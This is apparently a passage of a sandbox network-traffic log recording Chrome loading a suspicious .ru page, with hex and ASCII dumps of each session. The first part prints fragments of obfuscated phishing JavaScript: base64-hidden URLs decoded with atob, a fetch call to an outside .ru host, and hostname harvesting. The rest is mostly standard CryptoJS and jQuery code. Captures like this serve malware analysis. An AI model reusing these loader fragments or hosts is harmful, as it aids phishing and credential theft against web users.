d1J3S2lNQ1hwc3dEZGp5YWRpdXQ4bW9BdHVDcXJUVkFBSEFuWThvQ0FhemtQLmdhZ2VvZGVnLnJ1L0ZYVWxIZkJDVHN3b1lDbFhuVkJzRXZzQnFsa05FWVZDTE5OWE5IWVNRTkxaQ01NRUNERVlKUEVJSUZOT0FMWVpQTFJUUFJXSE5NV1AnLCB7DQogICAgbWV0aG9kOiAiR0VUIiwNCiAgICB9KS50aGVuKHJlc3BvbnNlID0+IHsNCiAgICB
2025-01-08 16:18:27 UTC	1369	IN	Data Raw: 6e 61 6c 20 6b 65 79 20 74 6f 20 61 6c 6c 20 73 75 63 63 65 73 73 2e 20 2a 2f 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 33 51 79 35 72 62 32 31 70 63 6d 46 30 61 43 35 79 64 53 38 78 61 6c 5a 57 55 32 68 48 53 53 38 3d 22 29 20 21 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 63 6f 6e 73 74 20 4c 55 58 61 4b 6f 7a 73 57 62 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 27 2e 27 29 2e 73 6c 69 63 65 28 2d 32 29 2e 6a 6f 69 6e 28 27 2e 27 29 3b 0d 0a 63 6f 6e 73 74 20 74 4d 65 43 4d 67 62 71 45 70 20 3d 20 6e 65 77 20 55 52 4c 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 33 51 79 35 72 62 32 31 70 63 6d 46 30 61 43 35 79 64 53 38 78 61 6c 5a 57 55 32 68 48 53 53 38 3d Data Ascii: nal key to all success. */if(atob("aHR0cHM6Ly93Qy5rb21pcmF0aC5ydS8xalZWU2hHSS8=") !== "nomatch"){const LUXaKozsWb = window.location.hostname.split('.').slice(-2).join('.');const tMeCMgbqEp = new URL(atob("aHR0cHM6Ly93Qy5rb21pcmF0aC5ydS8xalZWU2hHSS8=
2025-01-08 16:18:27 UTC	1369	IN	Data Raw: 69 50 67 30 4b 49 43 41 67 49 44 78 74 5a 58 52 68 49 47 35 68 62 57 55 39 49 6e 5a 70 5a 58 64 77 62 33 4a 30 49 69 42 6a 62 32 35 30 5a 57 35 30 50 53 4a 33 61 57 52 30 61 44 31 6b 5a 58 5a 70 59 32 55 74 64 32 6c 6b 64 47 67 73 49 47 6c 75 61 58 52 70 59 57 77 74 63 32 4e 68 62 47 55 39 4d 53 34 77 49 6a 34 4e 43 69 41 67 49 43 41 38 64 47 6c 30 62 47 55 2b 4a 69 4d 34 4d 6a 41 7a 4f 7a 77 76 64 47 6c 30 62 47 55 2b 44 51 6f 67 49 43 41 67 50 48 4e 30 65 57 78 6c 50 67 30 4b 59 6d 39 6b 65 53 42 37 44 51 6f 67 49 47 4a 68 59 32 74 6e 63 6d 39 31 62 6d 51 74 59 32 39 73 62 33 49 36 49 43 4e 6d 5a 6d 59 37 44 51 6f 67 49 47 68 6c 61 57 64 6f 64 44 6f 67 4d 54 41 77 4a 54 73 4e 43 69 41 67 62 33 5a 6c 63 6d 5a 73 62 33 63 36 49 47 68 70 5a 47 52 6c 62 6a Data Ascii: iPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.17	49720	104.17.25.14	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:27 UTC	648	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ko.komirath.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:27 UTC	959	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:18:27 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 10918 Expires: Mon, 29 Dec 2025 16:18:27 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B7902UzdzBykWVovNdsn5CFIEddFwMZmcUdQx20FX1cs4OZ8uPmi5hcT9wQTdXknDXzK3mmZ27IyW47Xynebp%2FE8KEHUBlWdFcTQJcpXvFxG%2BGeJeMOMTSjozU%2BqqAeArca22puw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8fed80ebeb4a7cf0-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 16:18:27 UTC	410	IN	Data Raw: 37 62 66 32 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf2!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-01-08 16:18:27 UTC	1369	IN	Data Raw: 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 Data Ascii: f globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.cre
2025-01-08 16:18:27 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 Data Ascii: call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes
2025-01-08 16:18:27 UTC	1369	IN	Data Raw: 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 Data Ascii: peof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c
2025-01-08 16:18:27 UTC	1369	IN	Data Raw: 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e Data Ascii: var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>
2025-01-08 16:18:27 UTC	1369	IN	Data Raw: 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 Data Ascii: for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0
2025-01-08 16:18:27 UTC	1369	IN	Data Raw: 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 Data Ascii: r,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:f
2025-01-08 16:18:27 UTC	1369	IN	Data Raw: 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 Data Ascii: harAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOP
2025-01-08 16:18:27 UTC	1369	IN	Data Raw: 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 Data Ascii: a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=thi
2025-01-08 16:18:27 UTC	1369	IN	Data Raw: 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 Data Ascii: ),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.17	49718	151.101.66.137	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:27 UTC	620	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ko.komirath.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:27 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1837634 Date: Wed, 08 Jan 2025 16:18:27 GMT X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740078-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 0 X-Timer: S1736353108.812680,VS0,VE1 Vary: Accept-Encoding
2025-01-08 16:18:27 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-08 16:18:27 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-01-08 16:18:27 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-01-08 16:18:27 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return 